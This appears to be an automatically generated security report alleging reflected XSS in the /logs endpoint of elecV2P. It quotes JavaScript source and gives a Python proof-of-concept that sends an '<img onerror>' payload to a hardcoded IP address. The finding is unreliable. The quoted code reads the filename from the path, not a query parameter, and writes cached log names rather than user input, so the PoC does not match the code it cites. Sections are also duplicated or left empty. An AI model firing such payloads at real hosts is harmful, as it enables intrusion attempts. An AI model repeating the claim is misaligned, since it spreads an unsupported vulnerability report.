The /logs endpoint reflects the filename parameter directly into HTML output via res.write(... ${log} ...) without escaping. An attacker can inject arbitrary HTML/JavaScript through the filename value, executing in any visitor's browser. No authentication required.
// source-code/elecV2P-master/webser/wblogs.js#L18C33-L80C4
18→ app.get(["/logs", "/logs/*"], (req, res) => {
19→ let filename = req.params[0]?.replace(/\/$/, '') || 'all'
20→ clog.info((req.headers['x-forwarded-for'] || req.connection.remoteAddress), "get logs", filename)
21→ let logs = LOGFILE.get(filename)
22→ if (!logs) {
23→ return res.status(404).json({
24→ rescode: 404,
25→ message: `${filename} not exist`
26→ })
27→ }
28→ res.writeHead(200, {
29→ 'Content-Type': 'text/html;charset=utf-8'
30→ })
// source-code/elecV2P-master/webser/wblogs.js#L71C33-L73C10
71→ LOGS_LIST_CACHE.forEach(log => {
72→ res.write(`<li class="logsnav_item${log===filename ? ' logsnav_item--curt' : ''}">${log}</li>`)
73→ })
import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
"""
Match an API endpoint pattern with a given path.
This function supports multiple path parameter syntaxes used by different web frameworks:
- Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
- Angle brackets: '/users/<int:id>' (Flask with converters)
- Colon syntax: '/users/:id' (Express, Koa, Sinatra)
- Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)
Note: This function performs structural matching only and doesn't validate param types or regex constraints.
Args:
pattern (str): The endpoint pattern with parameter placeholders
path (str): The actual path to match
Returns:
bool: True if the path structurally matches the pattern, otherwise False
"""
pattern = pattern.strip() or '/'
path = path.strip() or '/'
if pattern == path:
return True
# Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
# Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
# Support for <param> and <type:param> syntax (Flask with converters)
pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
# Support for :param syntax (Express, Koa, Sinatra)
pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
# Add start and end anchors to ensure full match
pattern = f'^{pattern}$'
match = re.match(pattern, path)
if match:
return True
return False
class CustomSession(Session):
def request(
self,
method,
url,
params = None,
data = None,
headers = None,
cookies = None,
files = None,
auth = None,
timeout = None,
allow_redirects = True,
proxies = None,
hooks = None,
stream = None,
verify = None,
cert = None,
json = None,
):
if match_api_pattern('/logs', urlparse(url).path):
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
else:
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
return super().request(
method=method,
url=url,
params=params,
data=data,
headers=headers,
cookies=cookies,
files=files,
auth=auth,
timeout=timeout,
allow_redirects=allow_redirects,
proxies=proxies,
hooks=hooks,
stream=stream,
verify=verify,
cert=cert,
json=json,
)
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests
target_url = "http://34.127.19.15:42863/logs"
malicious_payload = '<img src=1 onerror=alert(9)>'
# Inject the payload into the filename parameter
params = {"filename": malicious_payload}
response = requests.get(target_url, params=params)
print("Status Code:", response.status_code)
print("Text:", response.text)
# ********************************** Poc End ***********************************
Summary
The /logs endpoint reflects the filename parameter directly into HTML output via res.write(... ${log} ...) without escaping. An attacker can inject arbitrary HTML/JavaScript through the filename value, executing in any visitor's browser. No authentication required.
Details
POC